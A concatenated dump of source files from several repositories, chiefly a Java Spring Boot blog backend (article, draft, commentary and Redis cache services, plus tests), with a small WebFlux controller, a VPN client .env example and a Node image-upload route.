.expectStatus().isOk()
.expectBody(String.class)
.isEqualTo("success");
verify(authorService, times(1)).getAuthorsById(eq(Collections.singleton(author.getId())));
verify(genreService, times(1)).getGenreById(eq(genre.getId()));
}
}<file_sep>package com.springfreamwork.webflux.domain.servicies;
import com.springfreamwork.webflux.domain.model.Book;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import java.util.Set;
public interface BookService {
Flux<Book> getAllBooks();
Mono<Long> countBooks();
Mono<Void> deleteBook(String id);
Mono<Book> getBook(String id);
Mono<Void> updateBook(Book book);
Mono<Void> createBook(Book book);
Flux<Book> getBooksById(Set<String> ids);
}
<file_sep>package com.springfreamwork.webflux.com.controllers;
import com.springfreamwork.webflux.domain.dto.CommentCreateDTO;
import com.springfreamwork.webflux.domain.dto.CommentDTO;
import com.springfreamwork.webflux.domain.dto.CommentDataDTO;
import com.springfreamwork.webflux.domain.model.Book;
import com.springfreamwork.webflux.domain.model.Comment;
import com.springfreamwork.webflux.domain.servicies.BookService;
import com.springfreamwork.webflux.domain.servicies.CommentService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;
@RestController
public class CommentRestController {
private final CommentService commentService;
private final BookService bookService;
@Autowired
public CommentRestController(
CommentService commentService,
BookService bookService
) {
this.commentService = commentService;
this.bookService = bookService;
}
@GetMapping("/getComments")
public Flux<CommentDTO> getAllComments() {
return commentService.getAllComments()
.map(CommentDTO::getCommentDTO);
}
@DeleteMapping("/deleteComment")
public Mono<String> deleteComment(
@RequestParam("id") String id
) {
return commentService.deleteComment(id)
.then(Mono.just("success"));
}
@GetMapping("/getComment")
public Mono<CommentDataDTO> getCommentData(@RequestParam String id) {
Mono<List<Book>> allBooks = bookService.getAllBooks().collectList();
return commentService.getCommentById(id)
.map(comment -> CommentDataDTO.getCommentDataDTO(comment, null))
.flatMap(commentDataDTO ->
allBooks.map(booksList -> {
commentDataDTO.setAllBooks(booksList);
return commentDataDTO;
})
);
}
@GetMapping("/getCommentData")
public Mono<CommentDataDTO> createBookPage() {
return bookService.getAllBooks().collectList()
.map(allBooks -> CommentDataDTO.getCommentDataDTO(null, allBooks));
}
@PostMapping("/createComment")
public Mono<String> createComment(@RequestBody CommentCreateDTO commentCreateDTO) {
Mono<Set<Book>> books = bookService.getBooksById(commentCreateDTO.getBooks()).collect(Collectors.toSet());
return Mono.just(CommentCreateDTO.getComment(commentCreateDTO))
.flatMap(comment ->
books.map(booksSet -> {
comment.setBooks(booksSet);
return comment;
})
).flatMap(commentService::createComment)
.then(Mono.just("success"));
}
}
<file_sep>package com.springfreamwork.webflux.domain.dao;
import com.springfreamwork.webflux.domain.model.Comment;
import org.springframework.data.mongodb.repository.ReactiveMongoRepository;
public interface CommentRepository extends ReactiveMongoRepository<Comment,String> {
}
| 3380ff18747b13d68849c8c094d417d18bec7eb9 | [
"Java"
] | 12 | Java | Algeran/spring-webflux | 90e35115bff0f0d95bc38f13e77e77113cee4e65 | 717b8282658c71ed47899cfb8e21872810d81e8f |
refs/heads/master | <repo_name>perezale/docker-vpn-client<file_sep>/.env.example
VPN_HOST=localhost
VPN_USER=user
VPN_PASSWORD=<PASSWORD>
VPN_DEBUG=y
VPN_ROUTING_IPS=x.x.x.x/24 | 0e5b89aeb67f3548b2aeb03f24ba5f0f0fd34b9f | [
"Shell"
] | 1 | Shell | perezale/docker-vpn-client | 856e68448bb3aa882c5f9bc2ba0ff7cc6795a74d | 6726ada0f8f655cb15636559e92616aaa33b82f1 |
refs/heads/master | <repo_name>imizallah/Kudobuz<file_sep>/controllers/defautControllers.js
module.exports = {
allImages: (req, res) => {
res.send("Working")
},
fileUplaod: async (req, res) => {
res.send(req.file);
}
}<file_sep>/routes/defaultRoutes.js
const express = require("express");
const router = express.Router();
const path = require("path")
var multer = require('multer')
var storage = multer.diskStorage({
destination: 'uploads/',
filename: (req, file, cb) => {
cb(null, file.fieldname + '-' + Date.now() + path.extname(file.originalname));
},
limits: {
fileSize: 1000000
},
fileFilter(req, file, cb) {
if(!file.originalname.match(/\.(png|jpg|jpeg)$/)) {
cb(new Error('Please upload an image!! '))
}
cb(undefined, true)
}
})
let upload = multer({storage: storage})
const {allImages, fileUplaod} = require("../controllers/defautControllers");
router.get("/", allImages)
router.post("/upload", upload.single('image'), fileUplaod, (error, req, res, next) => {
res.status(400).send({error: error.message})
})
module.exports = router; | e42e4b5ca5b229f2743a1ab7aed05546df67cef6 | [
"JavaScript"
] | 2 | JavaScript | imizallah/Kudobuz | 79f7e67bc73bfba1691261ef3fc224cbb1648058 | 5565b077ce710d6a36d04235aadc7cfe16a59c3c |
refs/heads/master | <file_sep>package com.evan.blog.controller;
import com.evan.blog.pojo.BlogJSONResult;
import com.evan.blog.pojo.TempDraft;
import com.evan.blog.service.DraftCacheService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping(path = "/cache/drafts")
public class DraftCacheController {
@Autowired
DraftCacheService draftCacheService;
@GetMapping(path = "")
public BlogJSONResult newDraft() {
return BlogJSONResult.ok(draftCacheService.generateTempArticleId());
}
@GetMapping(path = "/{draftId}")
public BlogJSONResult getDraftContent(@PathVariable long draftId) {
TempDraft draftContent = draftCacheService.getDraftContent(draftId);
draftContent.setHtmlContent(null);
return BlogJSONResult.ok(draftContent);
}
@PutMapping(path = "")
public BlogJSONResult saveDraftInCache(@RequestBody TempDraft tempDraft) throws IllegalAccessException {
long l = draftCacheService.saveDraftInCache(tempDraft);
BlogJSONResult result = BlogJSONResult.ok(l);
result.setMsg("SAVED");
return result;
}
@PostMapping(path = "")
public BlogJSONResult postDraft(@RequestBody TempDraft tempDraft) {
Long draftId = draftCacheService.saveDraft(tempDraft);
return BlogJSONResult.ok(draftId);
}
}
<file_sep>package com.evan.blog.repository;
import com.evan.blog.model.Comment;
import com.evan.blog.model.Commentary;
import java.util.List;
public interface CommentaryDao {
void insertCommentary(Comment comment);
List<Commentary> selectCommentariesByPubId(long pubId);
int selectCommentariesCountByPubId(long pubId);
List<Commentary> selectCommentariesByParentId(long parentId);
Commentary selectCommentaryById(long id);
void deleteCommentariesByPubId(long pubId);
}
<file_sep>package com.evan.blog.model;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
@JsonIgnoreProperties({"registTime", "email"})
public class GithubUser extends User {
private Long githubId;
private String name;
private String avatarUrl;
private String githubHomePage;
private String email;
public GithubUser() {
}
public GithubUser(Long githubId, String name, String avatarUrl, String githubHomePage, String email) {
this.name = name;
this.avatarUrl = avatarUrl;
this.githubHomePage = githubHomePage;
this.email = email;
this.githubId = githubId;
}
public Long getGithubId() {
return githubId;
}
public void setGithubId(Long githubId) {
this.githubId = githubId;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAvatarUrl() {
return avatarUrl;
}
public void setAvatarUrl(String avatarUrl) {
this.avatarUrl = avatarUrl;
}
public String getGithubHomePage() {
return githubHomePage;
}
public void setGithubHomePage(String githubHomePage) {
this.githubHomePage = githubHomePage;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
@Override
public String toString() {
return "GithubUser{" +
"name='" + name + '\'' +
", avatarUrl='" + avatarUrl + '\'' +
", githubHomePage='" + githubHomePage + '\'' +
", email='" + email + '\'' +
'}';
}
}
<file_sep>package com.evan.blog.service.impls;
import com.evan.blog.service.ArticleCacheService;
import com.evan.blog.util.IPUtil;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import static org.junit.Assert.*;
@RunWith(SpringRunner.class)
@SpringBootTest
public class ArticleCacheServiceImpTest {
@Autowired
ArticleCacheService articleCacheService;
@Test
public void vote() {
boolean vote;
String ip = IPUtil.getRandomIp();
vote = articleCacheService.vote(180711661L, ip);
assertTrue(vote);
vote = articleCacheService.vote(180711661L, ip);
assertFalse(vote);
}
@Test
public void hasVoted() {
boolean hasVoted = articleCacheService.hasVoted(180721499L, "192.168.1.101");
System.out.println(hasVoted);
assertFalse(hasVoted);
}
@Test
public void getVoteCount() {
Long voteCount = articleCacheService.getVoteCount(180711661L);
assertEquals(1L, voteCount.longValue());
}
@Test
public void updateArticlesRank() {
}
@Test
public void getArticlesRankBoard() {
}
@Test
public void updateLatestPublishedArticle() {
}
@Test
public void getLatestPubArticleList() {
}
}<file_sep>package com.evan.blog.pojo.management;
import com.evan.blog.model.Draft;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
@JsonIgnoreProperties({"createdTime", "status", "htmlContent", "markdownContent"})
public class DeletedArticlesManagementListItem extends Draft {
public DeletedArticlesManagementListItem() {
}
public DeletedArticlesManagementListItem(Draft draft) {
this.setId(draft.getId());
this.setTitle(draft.getTitle());
this.setLatestEditedTime(draft.getLatestEditedTime());
}
}
<file_sep>package com.evan.blog.pojo.authorization;
import com.evan.blog.model.GithubUser;
import com.fasterxml.jackson.annotation.JsonProperty;
public class GithubUserResponse {
private Long id;
@JsonProperty("login")
private String name;
@JsonProperty("avatar_url")
private String avatarUrl;
@JsonProperty("html_url")
private String htmlUrl;
private String email;
public GithubUserResponse() {
}
public GithubUserResponse(Long id, String name, String avatarUrl, String htmlUrl, String email) {
this.id = id;
this.name = name;
this.avatarUrl = avatarUrl;
this.htmlUrl = htmlUrl;
this.email = email;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAvatarUrl() {
return avatarUrl;
}
public void setAvatarUrl(String avatarUrl) {
this.avatarUrl = avatarUrl;
}
public String getHtmlUrl() {
return htmlUrl;
}
public void setHtmlUrl(String htmlUrl) {
this.htmlUrl = htmlUrl;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public GithubUser convertToGithubUser() {
return new GithubUser(id, name, avatarUrl, htmlUrl, email);
}
public boolean validResponse() {
return id != null && name != null && !name.equals("");
}
}
<file_sep>package com.evan.blog.pojo.management;
import com.evan.blog.model.Draft;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
@JsonIgnoreProperties({"status", "htmlContent", "markdownContent"})
public class DraftsManagementListItem extends Draft {
public DraftsManagementListItem() { }
public DraftsManagementListItem(Draft draft) {
this.setId(draft.getId());
this.setTitle(draft.getTitle());
this.setCreatedTime(draft.getCreatedTime());
this.setLatestEditedTime(draft.getLatestEditedTime());
}
}
<file_sep>package com.evan.blog.service;
import com.evan.blog.pojo.VisitorRecord;
public interface SiteInfoCacheService {
void pageViewCount();
Long getPageViewCount();
void updateRegionDistribution(VisitorRecord record);
}
<file_sep>package com.evan.blog.controller;
import com.evan.blog.model.Draft;
import com.evan.blog.model.DraftQueryFilter;
import com.evan.blog.model.enums.DraftStatus;
import com.evan.blog.model.enums.Order;
import com.evan.blog.pojo.BlogJSONResult;
import com.evan.blog.pojo.ItemCollection;
import com.evan.blog.pojo.management.DraftStatusUpdate;
import com.evan.blog.pojo.management.DraftsManagementListItem;
import com.evan.blog.service.DraftService;
import com.github.pagehelper.PageInfo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.ArrayList;
import java.util.List;
@RestController
@RequestMapping(path = "/drafts")
public class DraftsController {
@Autowired
DraftService draftService;
@GetMapping(path = "/managementItems/p/{pageIndex}")
public BlogJSONResult getDraftsManagementList(
@PathVariable("pageIndex") Integer pageIndex,
@RequestParam("orderField") String orderField,
@RequestParam("order") String order,
@RequestParam("status") String status
) {
DraftStatus draftStatus = DraftStatus.getArticleStatus(status);
DraftQueryFilter queryFilter = new DraftQueryFilter(orderField, Order.getOrder(order), draftStatus);
List<DraftsManagementListItem> items = new ArrayList<>();
PageInfo<Draft> articlePageInfo = draftService.getDrafts(pageIndex, queryFilter);
articlePageInfo.getList().forEach(item -> items.add(new DraftsManagementListItem(item)));
return BlogJSONResult.ok(new ItemCollection((int) articlePageInfo.getTotal(), items));
}
@PutMapping(path = "/status")
public BlogJSONResult updateDraftStatus(@RequestBody DraftStatusUpdate update) {
System.out.println(update);
draftService.updateDraftStatus(update.getStatus(), update.getArticleIds());
return BlogJSONResult.ok();
}
@DeleteMapping(value = "")
public BlogJSONResult deleteDrafts(@RequestParam("ids") String ids) {
List<Long> articleIds = transferIdParams(ids);
System.out.println(articleIds);
draftService.removeDrafts(articleIds);
return BlogJSONResult.ok();
}
private List<Long> transferIdParams(String stringIds) {
String[] strings = stringIds.split(",");
List<Long> ids = new ArrayList<>(strings.length);
for (String s: strings) {
ids.add(Long.valueOf(s));
}
return ids;
}
}
<file_sep>package com.evan.blog.exception;
public class BlogException extends RuntimeException {
}
<file_sep>package com.evan.blog.model.enums;
public enum ArticleType {
Original("Original"), Reproduced("Reproduced"), Translation("Translation");
String name;
ArticleType() {
}
ArticleType(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public static ArticleType getType(String s) {
switch (s) {
case "Original" : return Original;
case "Reproduced" : return Reproduced;
case "Translation": return Translation;
default: return null;
}
}
}
<file_sep>package com.evan.blog.pojo.management;
import com.evan.blog.model.Article;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
@JsonIgnoreProperties({"article", "category", "commentariesCount"})
public class ArticlesManagementListItem extends Article {
private String title;
public ArticlesManagementListItem() {
super();
}
public ArticlesManagementListItem(Article article) {
this.setId(article.getPubId());
this.setPubId(article.getPubId());
this.setTitle(article.getDraft().getTitle());
this.setType(article.getType());
this.setPubTime(article.getPubTime());
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
}
<file_sep>package com.evan.blog.util;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CountDownLatch;
import static org.junit.Assert.*;
@RunWith(SpringRunner.class)
@SpringBootTest
public class PubIdGeneratorTest {
@Autowired
PubIdGenerator pubIdGenerator;
@Test
public void generatePubId() {
System.out.println("pubId: " + pubIdGenerator.generatePubId());
}
//线程安全测试
@Test
public void threadSafeGeneratePubId() {
int initialCapacity = 1000;
List<Thread> threads = new ArrayList<>(initialCapacity);
ConcurrentHashMap<Long, String> resultMap = new ConcurrentHashMap<>();
CountDownLatch countDownLatch = new CountDownLatch(initialCapacity);
for (int i = 0; i < initialCapacity; i++) {
threads.add(new Thread(new Runnable() {
@Override
public void run() {
resultMap.put(pubIdGenerator.generatePubId(), Thread.currentThread().getName());
countDownLatch.countDown();
}
}));
}
for (Thread thread : threads) {
thread.start();
}
try {
countDownLatch.await();
} catch (InterruptedException e) {
e.printStackTrace();
}
assertEquals(1000, resultMap.size());
}
}<file_sep>package com.evan.blog.model;
public class Comment {
private Integer parent;
private Integer replyTo;
private Integer commentator;
private String content;
private Integer pubId;
public Comment() { }
public Comment(Integer parent, Integer replyTo, Integer commentator, String content, Integer pubId) {
this.parent = parent;
this.replyTo = replyTo;
this.commentator = commentator;
this.content = content;
this.pubId = pubId;
}
public Integer getParent() {
return parent;
}
public void setParent(Integer parent) {
this.parent = parent;
}
public Integer getReplyTo() {
return replyTo;
}
public void setReplyTo(Integer replyTo) {
this.replyTo = replyTo;
}
public Integer getCommentator() {
return commentator;
}
public void setCommentator(Integer commentator) {
this.commentator = commentator;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public Integer getPubId() {
return pubId;
}
public void setPubId(Integer pubId) {
this.pubId = pubId;
}
@Override
public String toString() {
return "Comment {" + '\n' +
'\t' + "parent: " + parent + '\n' +
'\t' + "replyTo: " + replyTo + '\n' +
'\t' + "commentator: " + commentator + '\n' +
'\t' + "content: " + content + '\n' +
'\t' + "pubId: " + pubId + '\n' +
'}' + '\n';
}
}
<file_sep>package com.evan.blog.pojo;
import java.util.List;
public class ItemCollection {
private Integer totalNumberOfItems;
private List items;
public ItemCollection() {}
public ItemCollection(Integer totalNumberOfItems, List items) {
this.totalNumberOfItems = totalNumberOfItems;
this.items = items;
}
public Integer getTotalNumberOfItems() {
return totalNumberOfItems;
}
public void setTotalNumberOfItems(Integer totalNumberOfItems) {
this.totalNumberOfItems = totalNumberOfItems;
}
public List getItems() {
return items;
}
public void setItems(List items) {
this.items = items;
}
}
<file_sep>package com.evan.blog.repository;
import com.evan.blog.model.GithubUser;
import com.evan.blog.model.enums.UserLevel;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import static org.junit.Assert.*;
@RunWith(SpringRunner.class)
@SpringBootTest
public class UserDaoTest {
@Autowired
UserDao userDao;
@Test
public void selectUserById() {
GithubUser user = (GithubUser) userDao.selectUserById(8);
assertEquals("yifanxu", user.getName());
}
@Test
public void selectUserByGithubId() {
GithubUser user = (GithubUser) userDao.selectUserByGithubId(231412);
assertEquals("yifanxu", user.getName());
}
// @Test
// public void insertUser() {
// GithubUser githubUser = new GithubUser(231412L, "yifanxu", "url", "url", "<EMAIL>");
// userDao.insertUser(githubUser);
// }
@Test
public void updateUserLevel() {
userDao.updateUserLevel(8, UserLevel.Admin);
}
}<file_sep>package com.evan.blog.service.impls;
import com.evan.blog.model.Draft;
import com.evan.blog.service.DraftService;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import static org.junit.Assert.*;
@RunWith(SpringRunner.class)
@SpringBootTest
public class DraftServiceImplTest {
@Autowired
DraftService service;
@Test
public void queryArticleById() {
Draft draft = service.queryDraftById(1);
assertEquals("test draft title 1", draft.getTitle());
}
}<file_sep>package com.evan.blog.service;
import com.evan.blog.pojo.VisitorRecord;
import org.springframework.data.redis.core.ZSetOperations;
import java.util.Map;
import java.util.Set;
public interface VisitorRecordCacheService {
void recordVisitor(VisitorRecord record);
Long getVisitorRecordCount();
void updateRegionDistributions(String city);
Set<ZSetOperations.TypedTuple<String>> getRegionDistributions();
void addVisitorsRecord(Integer pubId, VisitorRecord record);
Long getVisitorsCount(Integer pubId);
}
<file_sep>package com.evan.blog.util;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.DataAccessException;
import org.springframework.data.redis.connection.RedisConnection;
import org.springframework.data.redis.core.ListOperations;
import org.springframework.data.redis.core.RedisCallback;
import org.springframework.data.redis.core.StringRedisTemplate;
import org.springframework.data.redis.core.ZSetOperations;
import org.springframework.stereotype.Component;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.TimeUnit;
/**
*
* @Title: RedisOperator.java
* @Package com.evan.blog.util
* @Description: 使用redisTemplate的操作实现类 Copyright: Copyright (c) 2016
* Company:FURUIBOKE.SCIENCE.AND.TECHNOLOGY
*
* @author <NAME>
* @date 2018年7月28日
* @version V1.0
*/
@Component
public class RedisOperator {
@Autowired
private StringRedisTemplate redisTemplate;
// Key(键),简单的key-value操作
/**
* 实现命令:TTL key,以秒为单位,返回给定 key的剩余生存时间(TTL, time to live)。
*
* @param key
* @return
*/
public long ttl(String key) {
return redisTemplate.getExpire(key);
}
/**
* 实现命令:expire 设置过期时间,单位秒
*
* @param key key
* @param timeout 过期时间
* @return
*/
public void expire(String key, long timeout) {
redisTemplate.expire(key, timeout, TimeUnit.SECONDS);
}
/**
* 实现命令:INCR key,增加key一次
*
* @param key key
* @param delta 增量
* @return
*/
public long incr(String key, long delta) {
return redisTemplate.opsForValue().increment(key, delta);
}
/**
* 实现命令:KEYS pattern,查找所有符合给定模式 pattern的 key
*/
public Set<String> keys(String pattern) {
return redisTemplate.keys(pattern);
}
/**
* 实现命令:DEL key,删除一个key
*
* @param key
*/
public void del(String key) {
redisTemplate.delete(key);
}
// String(字符串)
/**
* 实现命令:SET key value,设置一个key-value(将字符串值 value关联到 key)
*
* @param key
* @param value
*/
public void set(String key, String value) {
redisTemplate.opsForValue().set(key, value);
}
/**
* 当key不存在时,设置key为value并返回true,若key存在则不作设值操作,并返回false。
* @param key
* @param value
* @return
*/
public boolean setIfAbsent(String key, String value) {
return redisTemplate.opsForValue().setIfAbsent(key, value);
}
/**
* 实现命令:SET key value EX seconds,设置key-value和超时时间(秒)
*
* @param key
* @param value
* @param timeout
* (以秒为单位)
*/
public void set(String key, String value, long timeout) {
redisTemplate.opsForValue().set(key, value, timeout, TimeUnit.SECONDS);
}
/**
* 实现命令:GET key,返回 key所关联的字符串值。
*
* @param key
* @return value
*/
public String get(String key) {
return (String)redisTemplate.opsForValue().get(key);
}
// Hash(哈希表)
/**
* 实现命令:HSET key field value,将哈希表 key中的域 field的值设为 value
*
* @param key
* @param field
* @param value
*/
public void hset(String key, String field, Object value) {
redisTemplate.opsForHash().put(key, field, value);
}
/**
* 实现命令:HGET key field,返回哈希表 key中给定域 field的值
*
* @param key
* @param field
* @return
*/
public String hget(String key, String field) {
return (String) redisTemplate.opsForHash().get(key, field);
}
/**
* 实现命令:HDEL key field [field ...],删除哈希表 key 中的一个或多个指定域,不存在的域将被忽略。
*
* @param key
* @param fields
*/
public void hdel(String key, Object... fields) {
redisTemplate.opsForHash().delete(key, fields);
}
/**
* 实现命令:HGETALL key,返回哈希表 key中,所有的域和值。
*
* @param key
* @return
*/
public Map<Object, Object> hgetall(String key) {
return redisTemplate.opsForHash().entries(key);
}
// List(列表)
/**
* 实现命令:LPUSH key value,将一个值 value插入到列表 key的表头
*
* @param key
* @param value
* @return 执行 LPUSH命令后,列表的长度。
*/
public long lpush(String key, String value) {
return redisTemplate.opsForList().leftPush(key, value);
}
/**
* 实现命令:LPOP key,移除并返回列表 key的头元素。
*
* @param key
* @return 列表key的头元素。
*/
public String lpop(String key) {
return (String)redisTemplate.opsForList().leftPop(key);
}
/**
* 实现命令:RPUSH key value,将一个值 value插入到列表 key的表尾(最右边)。
* @param key
* @param value
* @return 执行 LPUSH命令后,列表的长度。
*/
public long rpush(String key, String value) {
return redisTemplate.opsForList().rightPush(key, value);
}
/**
* 实现命令:RPOP key,移除并返回列表 key的尾元素。
*
* @param key
* @return 列表key的尾元素。
*/
public String rpop(String key) {
return redisTemplate.opsForList().rightPop(key);
}
/**
* 实现命令:LRANGE key start stop,返回列表key中指定区间内的元素,区间以偏移量start和stop指定。
*
* @param key 列表的key值
* @Param start 列表区间的起始值
* @Param end 列表区间的终止值
* @return 执行 LRANGE命令后,返回列表所有元素。
*/
public List<String> lrange (String key, long start, long end) {
return redisTemplate.opsForList().range(key, start, end);
}
/** 当列表大小大于给定容量时,弹出元素直至列表中元素个数在给定容量之下
* @param key 列表的key值
* @param value 存入列表key的value值
*/
public void lpushrpop(String key, String value, Long listCapacity) {
ListOperations<String, String> listOperations = redisTemplate.opsForList();
listOperations.leftPush(key, value);
// redisTemplate.watch(key);
// redisTemplate.multi();
Long remainCapacity = listOperations.size(key) - listCapacity;
if (remainCapacity > 0) {
for (int i = 0; i < remainCapacity.intValue(); i++) {
listOperations.rightPop(key);
}
}
// redisTemplate.exec();
}
// Zset 有序集合
public boolean zadd(String key, String field, Double score) {
return redisTemplate.opsForZSet().add(key, field, score);
}
public Set<ZSetOperations.TypedTuple<String>> zrevrange (String key, long start, long end) {
return redisTemplate.opsForZSet().reverseRangeWithScores(key, start, end);
}
public Set<ZSetOperations.TypedTuple<String>> zrevrangebyscore (String key, double min, double max, long offset, long count) {
return redisTemplate.opsForZSet().reverseRangeByScoreWithScores(key, min, max, offset, count);
}
public Long zrank(String key, Object value) {
return redisTemplate.opsForZSet().rank(key, value);
}
public long zcard (String key) {
return redisTemplate.opsForZSet().zCard(key);
}
public Long[] pipezcard (String[] keys) {
RedisCallback<List<Object>> redisCallback = new RedisCallback<List<Object>>() {
@Override
public List<Object> doInRedis(RedisConnection connection) throws DataAccessException {
connection.openPipeline();
for (String key: keys) {
connection.zCard(key.getBytes());
}
return connection.closePipeline();
}
};
List<Object> execResults = redisTemplate.execute(redisCallback);
Long[] results = new Long[execResults.size()];
for (int i = 0; i < results.length; i++) {
results[i] = (Long) execResults.get(i);
}
return results;
}
public void zincr(String key, String value, double score) {
redisTemplate.opsForZSet().incrementScore(key, value, score);
}
public List<Object> pipeline(RedisCallback<List<Object>> redisCallback) {
return redisTemplate.execute(redisCallback);
}
}
<file_sep>package com.evan.blog.service;
import com.evan.blog.model.Comment;
import com.evan.blog.model.Commentary;
import com.github.pagehelper.PageInfo;
public interface CommentaryService {
PageInfo<Commentary> getCommentaryByPubId(Integer pubId, Integer pageIndex);
void postComment(Comment comment);
}
<file_sep>type|key
---|---
zset|region_distributions:
zset|PV_counters:
zset|PV_counter:[300-7200-86400]
zset|articles_rank:
zset|voted:[pub_id]
zset|article_visitors_record:[pub_id]
zset|visitors_records:
list|latest_pub_articles:
<file_sep>package com.evan.blog.pojo;
public class IPLocation {
private String country;
private String province;
private String city;
public IPLocation() {
}
public IPLocation(String country, String province, String city) {
this.country = country;
this.province = province;
this.city = city;
}
public String getCountry() {
return country != null && !country.equals("") ? country : "其他";
}
public void setCountry(String country) {
this.country = country;
}
public String getProvince() {
return province != null && !province.equals("") ? province : "其他";
}
public void setProvince(String province) {
this.province = province;
}
public String getCity() {
return city != null && !city.equals("") ? city : "其他";
}
public void setCity(String city) {
this.city = city;
}
@Override
public String toString() {
return getCity() + ":" + getProvince() + ":" + getCountry();
}
}
<file_sep>package com.evan.blog.repository.typehandlers;
import com.evan.blog.model.enums.DraftStatus;
import org.apache.ibatis.type.JdbcType;
import org.apache.ibatis.type.TypeHandler;
import java.sql.CallableStatement;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
public class DraftStatusTypeHandler implements TypeHandler<DraftStatus> {
public void setParameter(PreparedStatement preparedStatement, int i, DraftStatus draftStatus, JdbcType jdbcType) throws SQLException {
preparedStatement.setInt(i, draftStatus.getStatusCode());
}
public DraftStatus getResult(ResultSet resultSet, String s) throws SQLException {
int code = resultSet.getInt(s);
return DraftStatus.getArticleStatus(code);
}
public DraftStatus getResult(ResultSet resultSet, int i) throws SQLException {
int code = resultSet.getInt(i);
return DraftStatus.getArticleStatus(code);
}
public DraftStatus getResult(CallableStatement callableStatement, int i) throws SQLException {
int code = callableStatement.getInt(i);
return DraftStatus.getArticleStatus(code);
}
}
<file_sep>package com.evan.blog.controller;
import com.evan.blog.pojo.BlogJSONResult;
import com.evan.blog.service.ArticleCacheService;
import com.evan.blog.util.IPUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
@RestController
@RequestMapping(path = "/cache/articles")
public class ArticlesCacheController {
@Autowired
ArticleCacheService articleCacheService;
@PostMapping(path = "/{pubId}/vote")
public BlogJSONResult voteForPublishedArticle (@PathVariable("pubId") Long pubId, HttpServletRequest request) {
String ip = IPUtil.getRealIP(request);
boolean vote = articleCacheService.vote(pubId, ip);
BlogJSONResult blogJSONResult = BlogJSONResult.ok(vote);
blogJSONResult.setMsg("Vote succeed!");
return blogJSONResult;
}
@GetMapping(path = "/{pubId}/vote")
public BlogJSONResult hasVotedForPublishedArticle(@PathVariable("pubId") Long pubId, HttpServletRequest request) {
String ip = request.getRemoteAddr();
boolean hasVoted = articleCacheService.hasVoted(pubId, ip);
return BlogJSONResult.ok(hasVoted);
}
}
<file_sep>package com.evan.blog.util;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.RedisSystemException;
import org.springframework.stereotype.Component;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.concurrent.atomic.AtomicInteger;
@Component(value = "pubIdGenerator")
public class PubIdGenerator {
@Autowired
RedisOperator redisOperator;
private static final DateTimeFormatter DATE_TIME_FORMATTER = DateTimeFormatter.ofPattern("yyMMdd");
private static final int MAX_NUMBER_OF_PUB_EACH_DAY = 1000;
private static volatile int oldPubIdPrefix;
private final String key = "pub_number:";
public long generatePubId() {
int pubIdPrefix = Integer.parseInt(LocalDateTime.now().format(DATE_TIME_FORMATTER));
int pubId = pubIdPrefix * MAX_NUMBER_OF_PUB_EACH_DAY;
if (pubIdPrefix != oldPubIdPrefix) {
oldPubIdPrefix = pubIdPrefix;
redisOperator.set(key, "0");
}
pubId += redisOperator.incr(key, 1L);
return pubId;
}
}
<file_sep>package com.evan.blog.service.impls;
import com.evan.blog.model.Article;
import com.evan.blog.model.Category;
import com.evan.blog.pojo.SideInfoItem;
import com.evan.blog.repository.ArticleDao;
import com.evan.blog.repository.CategoryDao;
import com.evan.blog.service.ArticleService;
import com.evan.blog.service.SideInfoService;
import com.evan.blog.util.RedisOperator;
import com.github.pagehelper.PageHelper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.ZSetOperations;
import org.springframework.stereotype.Service;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
@Service(value = "sideInfoService")
public class SideInfoServiceImp implements SideInfoService {
@Autowired
RedisOperator redisOperator;
@Autowired
CategoryDao categoryDao;
@Autowired
ArticleDao articleDao;
@Override
public List<SideInfoItem> getLatestPublishedArticle() {
List<SideInfoItem> sideInfoItems = new ArrayList<>();
